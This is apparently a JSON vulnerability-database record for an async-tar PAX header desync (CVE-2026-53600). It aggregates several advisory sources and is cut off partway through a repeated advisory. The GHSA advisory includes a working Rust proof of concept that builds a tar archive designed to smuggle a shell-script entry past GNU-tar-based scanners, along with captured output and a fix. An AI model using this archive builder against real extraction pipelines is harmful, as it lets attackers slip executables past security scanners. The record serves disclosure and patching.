{"id":"CVE-2026-53600","aliases":["DEBIAN-CVE-2026-53600","EUVD-2026-70200","GHSA-35rm-7j9c-2f7m","UBUNTU-CVE-2026-53600","openSUSE-SU-2026:12355-1"],"status":"published","title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00445,"percentile":0.38981,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-843"],"published":"2026-07-08T20:24:12Z","modified":"2026-10-31T18:11:55Z","fixes":[{"ecosystem":"crates.io","package":"async-tar","fixed_in":["0.6.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"async-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"rust-async-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.2-2"]},{"source":"osv","ecosystem":"crates.io","package":"async-tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"rust-async-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.2-2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"zed","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.24.2-1.1"}]}],"bundled":11}],"products":[{"vendor":"dignifiedquire","product":"async-tar"}],"references":[{"url":"https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/dignifiedquire/async-tar/releases/tag/v0.6.1","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/advisories/GHSA-35rm-7j9c-2f7m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/53xxx/CVE-2026-53600.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53600","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-53600","tags":["advisory"]},{"url":"https://github.com/dignifiedquire/async-tar","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-53600","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-53600","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-39719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-39720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-39722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-4574","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62518","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25541","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34942","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-93600","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-53600","title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","status":"published","published":"2026-09-02T16:10:27.461Z","modified":"2026-09-02T18:57:48.269Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-20","CWE-843"],"updated_at":"2026-11-02T14:20:00.11477Z"}],"euvd":[{"id":"EUVD-2026-70200","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","status":"published","published":"2026-09-02T16:10:27Z","modified":"2026-09-02T18:57:48Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:01:14.689075Z"}],"ghsa":[{"id":"GHSA-35rm-7j9c-2f7m","title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"## Summary\n\n`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary\nextension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g`\nheader) instead of to the next *file* entry. POSIX requires a PAX extended-header\nrecord set to describe the next file entry, never an intervening extension\nheader. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX\nrecords into the size computation of whatever raw header it reads next — and that\nheader can be an intermediary `L` — the stream cursor is advanced by an\nattacker-chosen amount when the `L` body is consumed. The parser then desyncs\nrelative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes\nat the wrong block boundary.\n\nAn attacker who can influence a tar stream that an `async-tar` consumer extracts\ncan construct an `x → L → file` sequence whose entry list and on-disk result\ndiffer between `async-tar` and a reference parser. This enables content/entry\nsmuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque\ndata is extracted by `async-tar` as a different file with different bytes (e.g. an\nexecutable script), and vice versa.\n\nType confusion / improper validation of the specified quantity (size). CWE-20,\nCWE-843. Severity assessed Medium, consistent with the same defect class in the\nupstream tar-rs / tokio-tar lineage.\n\n## Affected code\n\nPackage: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and\ncurrent `main` HEAD. Both lack the extension-header guard.\n\n`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,\ncommit `45814b19295b7398e119c90c57d8c8bf70a798b6`):\n\n```rust\n    let file_pos = *next;\n\n    let mut header = current_header.take().unwrap();\n\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data {   // \u003c-- no is_extension_header guard\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            let extension = extension.map_err(|_e| other(\"pax extensions invalid\"))?;\n            let Some(key) = extension.key().ok() else { continue };\n            match key {\n                \"size\" =\u003e {\n                    let size_str = extension.value()\n                        .map_err(|_e| other(\"failed to parse pax size as string\"))?;\n                    size = size_str.parse::\u003cu64\u003e()\n                        .map_err(|_e| other(\"failed to parse pax size\"))?;\n                }\n                \"uid\" =\u003e { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }\n                \"gid\" =\u003e { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }\n                _ =\u003e { continue }\n            }\n        }\n    }\n\n    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size\n```\n\nand a few lines further down the same function:\n\n```rust\n    // Store where the next entry is, rounding up by 512 bytes.\n    let size = (size + 511) \u0026 !(512 - 1);\n    *next += size;                                          // cursor advance = mis-applied PAX size\n```\n\nThe caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local\nextension into `current_pax_extensions` and then calls `poll_next_raw` with\n`current_pax_extensions.as_deref()` for the *next* raw header. When that next\nraw header is an intermediary GNU longname (handled by the `is_gnu_longname()`\nbranch a few lines later), the PAX `size` is applied to it, so `*next` advances by\nthe spoofed size rather than the `L` header's own declared size. That is the\ndesync.\n\nThe buffered PAX records are intended to apply only to the following *file*\nentry; the missing check is whether the raw header currently being sized is itself\nan extension header (`L`/`K`/`x`/`g`).\n\n## Impact\n\nDifferential extraction / entry smuggling. A consumer that extracts an\nattacker-influenced tar stream with `async-tar` (e.g. a server endpoint that\nunpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks\na remote tarball, an archive-preview/scan pipeline) will:\n\n- materialize files / file contents that a POSIX-correct parser (GNU tar,\n  libarchive/bsdtar) does not surface, and\n- omit or alter files that the reference parser does surface.\n\nThis breaks any security control that relies on scanning the archive with one\nparser and extracting with `async-tar`: a malware/secret scanner reading the\nstream with GNU tar can be made to see only benign data while `async-tar` writes\nan executable payload to disk. It can also be used to hide entries from\naudit/inventory tooling, or to write content to a path the reviewer believes\nholds something else. No attacker-controlled local state is required — only the\nability to influence the bytes of the tar stream that the consumer extracts.\n\n## How input reaches the sink (reachability)\n\nThe vulnerable path is the library's primary public API for reading archives:\n`Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next`\ndrives `poll_next_raw` for every header. Any consumer that iterates entries (or\ncalls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches\nthe sink with no additional configuration. The `reader` need not be a file — it is\nany `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor\noutput all qualify. The only precondition for the desync is that the stream\ncontain a PAX local-extension header (`x`) carrying a `size` record immediately\nfollowed by an intermediary GNU longname (`L`) before the next file header — a\nstructure the attacker fully controls in the archive bytes. Representative\nreachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz`\nbodies, dependency/artifact fetchers that unpack remote tarballs, and\narchive-scan/preview pipelines.\n\n## Proof of concept\n\nA standalone Rust consumer binary that links the published crates.io\n`async-tar = \"=0.6.0\"` (`default-features = false, features = [\"runtime-tokio\"]`)\nand runs the real `Archive::new(...).entries()` extraction loop (the same shape\nused by real downstream server consumers that unpack uploaded tarballs). It reads\na tar file and writes each entry to a destination directory, printing the entry\nlist `async-tar` surfaces. A second binary hand-crafts the malicious and benign\ntar byte streams.\n\nMalicious archive geometry (block = 512 bytes):\n\n```\nB0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)\nB1     PAX records  (\"\u003clen\u003e size=1024\\n\")\nB2  L  GNU longname header, OWN declared size = 512 (= 1 block)\nB3     longname block #1  = \"GNU_SEES_THIS.txt\\0...\"   (the name GNU tar uses)\nB4     a normal file header \"placeholder_A\" (size 512)\nB5     \u003c-- this block IS a valid tar header for the smuggled file\n           \"hidden_payload.sh\" (size 65)\nB6     smuggled payload  \"#!/bin/sh\\n# SMUGGLED ENTRY...\\n\"\nB7,B8  two zero blocks (EOF)\n```\n\nGNU tar honours the `L` header's own declared size (1 block) for the longname and\nignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the\nfile, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX\n`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor\non B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh`\nbody (B6).\n\nTar-builder source (`mktar.rs`):\n\n```rust\nuse std::io::Write;\nconst BLOCK: usize = 512;\n\nfn octal(buf: \u0026mut [u8], v: u64) {\n    let s = format!(\"{:0width$o}\", v, width = buf.len() - 1);\n    let b = s.as_bytes();\n    buf[..b.len()].copy_from_slice(b);\n    buf[b.len()] = 0;\n}\n\nfn header(name: \u0026[u8], size: u64, typeflag: u8) -\u003e [u8; BLOCK] {\n    let mut h = [0u8; BLOCK];\n    let n = name.len().min(100);\n    h[..n].copy_from_slice(\u0026name[..n]);\n    octal(\u0026mut h[100..108], 0o644);\n    octal(\u0026mut h[108..116], 0);\n    octal(\u0026mut h[116..124], 0);\n    octal(\u0026mut h[124..136], size);\n    octal(\u0026mut h[136..148], 0);\n    h[156] = typeflag;\n    if typeflag == b'L' { h[257..265].copy_from_slice(b\"ustar  \\0\"); }\n    else { h[257..263].copy_from_slice(b\"ustar\\0\"); h[263..265].copy_from_slice(b\"00\"); }\n    for b in \u0026mut h[148..156] { *b = b' '; }\n    let sum: u32 = h.iter().map(|b| *b as u32).sum();\n    h[148..156].copy_from_slice(format!(\"{:06o}\\0 \", sum).as_bytes());\n    h\n}\n\nfn pad(out: \u0026mut Vec\u003cu8\u003e, len: usize) {\n    let rem = len % BLOCK;\n    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }\n}\nfn pax_record(key: \u0026str, val: \u0026str) -\u003e Vec\u003cu8\u003e {\n    let mut len = key.len() + val.len() + 3;\n    loop {\n        let s = format!(\"{} {}={}\\n\", len, key, val);\n        if s.len() == len { return s.into_bytes(); }\n        len = s.len();\n    }\n}\nfn name_block(name: \u0026[u8]) -\u003e Vec\u003cu8\u003e { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }\nfn write_block(out: \u0026mut Vec\u003cu8\u003e, data: \u0026[u8]) { out.extend_from_slice(data); pad(out, data.len()); }\n\nfn build_malicious() -\u003e Vec\u003cu8\u003e {\n    let mut out = Vec::new();\n    let gnu_name = b\"GNU_SEES_THIS.txt\";\n    let spoof = (BLOCK * 2) as u64;\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"size\", \u0026spoof.to_string()));\n    out.extend_from_slice(\u0026header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(\u0026mut out, \u0026recs);\n    out.extend_from_slice(\u0026header(b\"././@LongLink\", BLOCK as u64, b'L'));\n    out.extend_from_slice(\u0026name_block(gnu_name));                 // B3\n    out.extend_from_slice(\u0026header(b\"placeholder_A\", BLOCK as u64, b'0')); // B4\n    let smuggled_body = b\"#!/bin/sh\\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\\n\".to_vec();\n    out.extend_from_slice(\u0026header(b\"hidden_payload.sh\", smuggled_body.len() as u64, b'0')); // B5\n    write_block(\u0026mut out, \u0026smuggled_body);                        // B6\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn build_benign() -\u003e Vec\u003cu8\u003e {\n    let mut out = Vec::new();\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"path\", \"normal_file.txt\"));\n    out.extend_from_slice(\u0026header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(\u0026mut out, \u0026recs);\n    let body = b\"plain benign content\\n\".to_vec();\n    out.extend_from_slice(\u0026header(b\"normal_file.txt\", body.len() as u64, b'0'));\n    write_block(\u0026mut out, \u0026body);\n    let body2 = b\"second benign file\\n\".to_vec();\n    out.extend_from_slice(\u0026header(b\"second.txt\", body2.len() as u64, b'0'));\n    write_block(\u0026mut out, \u0026body2);\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn main() {\n    let a: Vec\u003cString\u003e = std::env::args().collect();\n    let bytes = match a[1].as_str() { \"malicious\" =\u003e build_malicious(), \"benign\" =\u003e build_benign(), _ =\u003e std::process::exit(2) };\n    std::fs::File::create(\u0026a[2]).unwrap().write_all(\u0026bytes).unwrap();\n}\n```\n\nConsumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop):\n\n```rust\nuse async_tar::Archive;\nuse tokio::fs;\nuse tokio::io::AsyncReadExt;\nuse tokio_stream::StreamExt;\n\n#[tokio::main(flavor = \"multi_thread\", worker_threads = 2)]\nasync fn main() {\n    let args: Vec\u003cString\u003e = std::env::args().collect();\n    let dest = std::path::PathBuf::from(\u0026args[2]);\n    fs::create_dir_all(\u0026dest).await.unwrap();\n    let bytes = fs::read(\u0026args[1]).await.unwrap();\n    let archive = Archive::new(std::io::Cursor::new(bytes));\n    let mut entries = archive.entries().expect(\"entries()\");\n    let mut idx = 0usize;\n    while let Some(entry) = entries.next().await {\n        let mut file = match entry { Ok(f) =\u003e f, Err(e) =\u003e { println!(\"[async-tar] ERROR: {e}\"); break } };\n        let path_raw = file.path().expect(\"path\").into_owned();\n        let path_disp = path_raw.to_string_lossy().split('\\u{0}').next().unwrap_or(\"\").to_string();\n        let hdr_size = file.header().size().unwrap_or(0);\n        let mut out = dest.clone();\n        for comp in std::path::PathBuf::from(\u0026path_disp).components() {\n            if let std::path::Component::Normal(p) = comp { out.push(p); }\n        }\n        let mut body = Vec::new();\n        let read = file.read_to_end(\u0026mut body).await.unwrap_or(0);\n        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }\n        let _ = fs::write(\u0026out, \u0026body).await;\n        let preview: String = body.iter().take(48)\n            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();\n        println!(\"[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\\\"{preview}\\\"\", path_disp);\n        idx += 1;\n    }\n    println!(\"[async-tar] total entries surfaced: {idx}\");\n}\n```\n\n`Cargo.toml`:\n\n```toml\n[dependencies]\nasync-tar = { version = \"=0.6.0\", default-features = false, features = [\"runtime-tokio\"] }\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\", \"io-util\", \"fs\"] }\ntokio-stream = \"0.1\"\nfutures = \"0.3\"\n```\n\n## End-to-end reproduction\n\nReference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by\nthe consumer binary above. Verbatim captured output:\n\n```\n$ cargo build --release        # links async-tar v0.6.0 from crates.io\n   Compiling async-tar v0.6.0\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s) in 10.12s\n\n$ ./target/release/mktar malicious mal.tar\nwrote 4608 bytes to mal.tar\n\n# ---- (A) GNU tar reference: list + extract ----\n$ gtar tvf mal.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt\nrc=0\n$ gtar xf mal.tar -C /tmp/gnu_x ; echo \"rc=$?\"\nrc=0\n$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt\nhidden_payload.sh\n# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header\n#  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)\n\n# ---- (B) async-tar v0.6.0 consumer: extract ----\n$ ./target/release/extract mal.tar /tmp/at_mal\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=65 bytes_read=1024 body=\"#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt\n#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n```\n\nSame bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte\nbenign blob; `async-tar` writes a 65-byte executable shell script that the\nreference parser never exposes as an entry. The smuggled `#!/bin/sh` body is\ncontent a GNU-tar-based scanner would never inspect.\n\nNegative control — a benign archive (correct PAX usage: `x` applies `path` to the\nfollowing file, no intermediary `L`):\n\n```\n$ ./target/release/mktar benign ben.tar\n$ gtar tvf ben.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt\n-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt\nrc=0\n$ ./target/release/extract ben.tar /tmp/at_ben\n[async-tar] entry#0 path=\"normal_file.txt\" hdr_size=21 bytes_read=21 body=\"plain benign content.\"\n[async-tar] entry#1 path=\"second.txt\" hdr_size=19 bytes_read=19 body=\"second benign file.\"\n[async-tar] total entries surfaced: 2\n```\n\nGNU tar and `async-tar` produce identical entry lists and identical on-disk files.\nNo smuggling. The differential is exclusive to the `x → L → file` desync sequence.\n\n## Fix\n\nApply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when\nthe raw header being sized is NOT itself an extension header. Skip the override\nfor GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers,\nwhose body length must come from their own declared size. This mirrors the fix\nadopted in the upstream tar-rs / tokio-tar lineage for the same defect class.\n\n```rust\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // PAX extensions describe the NEXT file entry, not an intermediary\n    // extension header. Applying a buffered PAX `size` to such an intermediary\n    // header (L/K/x/g) advances the stream cursor by the wrong amount and\n    // desyncs the parse.\n    let entry_type = header.entry_type();\n    let is_extension_header = entry_type.is_gnu_longname()\n        || entry_type.is_gnu_longlink()\n        || entry_type.is_pax_local_extensions()\n        || entry_type.is_pax_global_extensions();\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            // unchanged: same size/uid/gid override loop as before\n        }\n    }\n```\n\nFix-verify, captured verbatim. The patched `async-tar` (guard added) re-run\nagainst the same `mal.tar`:\n\n```\n$ cargo build --release        # [patch.crates-io] async-tar = { path = \"../async-tar-patched\" }\n   Compiling async-tar v0.6.0 (.../async-tar-patched)\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s)\n$ ./target/release/extract mal.tar /tmp/at_fix\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=512 bytes_read=1024 body=\"hidden_payload.sh...............................\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt\nhidden_payload.sh\n```\n\nWith the guard, `async-tar`'s view converges with GNU tar's: it surfaces\n`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and\nno longer extracts the smuggled executable script. The benign control still\nproduces the correct two-file output. The desync is eliminated.\n\n## Fix PR\n\nA fix PR adding the `is_extension_header` guard to `poll_next_raw` in\n`src/archive.rs` is opened from the advisory's temporary private fork against this\nrepository. It carries the diff shown in the **Fix** section above (no behavioural\nchange for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop\ninheriting a following PAX `size`).\n\n## Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-08T20:24:12Z","modified":"2026-07-08T20:24:14Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20","CWE-843"],"updated_at":"2026-11-02T14:40:41.501474Z"}],"nvd":[{"id":"CVE-2026-53600","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","status":"published","published":"2026-09-02T16:17:17.983Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-20","CWE-843"],"updated_at":"2026-11-02T14:12:43.399612Z"}],"osv":[{"id":"CVE-2026-53600","title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","status":"published","published":"2026-09-02T16:10:27.461Z","modified":"2026-10-31T18:11:55.599340139Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20","CWE-843"],"updated_at":"2026-11-02T15:45:08.132336Z"},{"id":"DEBIAN-CVE-2026-53600","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","status":"published","published":"2026-09-02T16:17:17.983Z","modified":"2026-10-01T03:03:26.465170896Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-35rm-7j9c-2f7m","title":"async-tar PAX extension-header desync enables tar entry/content smuggling","description":"## Summary\n\n`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an intermediary\nextension header (a GNU longname `L`, a GNU longlink `K`, or a PAX `x`/`g`\nheader) instead of to the next *file* entry. POSIX requires a PAX extended-header\nrecord set to describe the next file entry, never an intervening extension\nheader. Because `poll_next_raw` (`src/archive.rs`) threads the buffered PAX\nrecords into the size computation of whatever raw header it reads next — and that\nheader can be an intermediary `L` — the stream cursor is advanced by an\nattacker-chosen amount when the `L` body is consumed. The parser then desyncs\nrelative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes\nat the wrong block boundary.\n\nAn attacker who can influence a tar stream that an `async-tar` consumer extracts\ncan construct an `x → L → file` sequence whose entry list and on-disk result\ndiffer between `async-tar` and a reference parser. This enables content/entry\nsmuggling: a file that a GNU-tar-based scanner/validator/AV sees as benign opaque\ndata is extracted by `async-tar` as a different file with different bytes (e.g. an\nexecutable script), and vice versa.\n\nType confusion / improper validation of the specified quantity (size). CWE-20,\nCWE-843. Severity assessed Medium, consistent with the same defect class in the\nupstream tar-rs / tokio-tar lineage.\n\n## Affected code\n\nPackage: `async-tar` (crates.io). Affected version: **0.6.0** (latest release) and\ncurrent `main` HEAD. Both lack the extension-header guard.\n\n`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,\ncommit `45814b19295b7398e119c90c57d8c8bf70a798b6`):\n\n```rust\n    let file_pos = *next;\n\n    let mut header = current_header.take().unwrap();\n\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data {   // \u003c-- no is_extension_header guard\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            let extension = extension.map_err(|_e| other(\"pax extensions invalid\"))?;\n            let Some(key) = extension.key().ok() else { continue };\n            match key {\n                \"size\" =\u003e {\n                    let size_str = extension.value()\n                        .map_err(|_e| other(\"failed to parse pax size as string\"))?;\n                    size = size_str.parse::\u003cu64\u003e()\n                        .map_err(|_e| other(\"failed to parse pax size\"))?;\n                }\n                \"uid\" =\u003e { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }\n                \"gid\" =\u003e { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }\n                _ =\u003e { continue }\n            }\n        }\n    }\n\n    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size\n```\n\nand a few lines further down the same function:\n\n```rust\n    // Store where the next entry is, 